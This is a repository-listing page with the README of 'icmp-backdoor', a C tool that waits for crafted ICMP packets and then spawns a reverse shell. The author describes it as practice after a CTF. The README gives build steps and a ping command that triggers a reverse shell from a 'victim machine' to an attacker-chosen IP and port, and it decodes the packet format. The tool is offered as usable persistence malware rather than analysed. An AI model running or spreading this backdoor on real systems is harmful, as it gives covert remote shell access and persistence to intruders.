https://github.com/droberson/icmp-backdoor

Backdoor that listens for specially crafted ICMP packets and spawns reverse shells.
https://github.com/droberson/icmp-backdoor

Last synced: 22 days ago
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Backdoor that listens for specially crafted ICMP packets and spawns reverse shells.

• Host: GitHub
• URL: https://github.com/droberson/icmp-backdoor
• Owner: droberson
• License: mit
• Created: 2017-07-29T15:31:41.000Z (over 7 years ago)
• Default Branch: master
• Last Pushed: 2020-02-27T04:27:38.000Z (almost 5 years ago)
• Last Synced: 2024-08-05T17:24:05.958Z (4 months ago)
• Language: C
• Homepage:
• Size: 16.6 KB
• Stars: 67
• Watchers: 6
• Forks: 33
• Open Issues: 0
• Metadata Files:
  • Readme: README.md
  • License: LICENSE.md

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• awesome-hacking-lists - droberson/icmp-backdoor - Backdoor that listens for specially crafted ICMP packets and spawns reverse shells. (C)

README

        
# icmp-backdoor

During the BSidesLV Pros vs. Joes CTF, it was revealed that the red

cell used a very similar tool to this known as prism to achieve

persistence in a few of our machines. I decided to write my own tool

similar to this for practice.

Prism: https://github.com/andreafabrizi/prism

The concept behind this tool is that it listens for specially crafted

ICMP packets, and if they match a certain criteria, it will spawn a

reverse shell to a specified host and port.

# Building

First, you should edit icmp-backdoor.c. In particular, change the

MAGIC1, MAGIC2, and PROGNAME macros to values that suit your needs.

Next, just use _make_. This has currently been tested only on

Linux. Will test on BSD, macOS and others soon:

	$ make

	

If you don't have _make_ or if _gcc_ isn't your thing:

	$ clang -o icmp-backdoor icmp-backdoor.c

# Usage

Since this uses SOCK_RAW, you must run this as root or otherwise have

the ability to open raw sockets as the user that initially runs this.

Prism uses its own tool to send the packets. I opted for a "live off

the land" approach and use the commonly-available _ping_ utility with

the -p flag:

	$ ping -c 1 -p 0a0a001710002a7a host

The format for the pattern is: IIIIIIIIPPPPMMMM where I is IP address,

P is port, and M is magic bytes. This is represented as hexadecimal,

so you will either have to be a weirdo like me and be able to

calculate this in your head or use a calculator.

See the included _calc.py_ for a handy calculator for this.

In the above example:

	IP: 0a0a0017 is 10.10.0.23

	Port: 1000 is 4096

	Magic is 2a7a, which is hard-coded into this program.

This will open a reverse shell from the victim machine to 10.10.0.23:4096.

The magic bytes are there for alignment purposes when using the -p

flag with ping and as a mechanism to determine if a shell should be

opened when an ICMP packet is received.